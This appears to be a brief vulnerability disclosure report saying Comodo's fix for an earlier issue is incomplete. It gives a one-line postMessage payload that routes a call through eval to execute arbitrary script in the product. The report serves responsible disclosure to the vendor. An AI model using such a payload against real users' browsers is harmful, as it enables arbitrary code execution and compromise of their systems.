Comodo's fix for  issue 704  was incomplete, it's trivial to make the exploit work again like this:

window.postMessage(JSON.stringify({ command: "callOuterFunction", params: { func: "eval", arguments: ["alert(1)"] }}), "*");

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.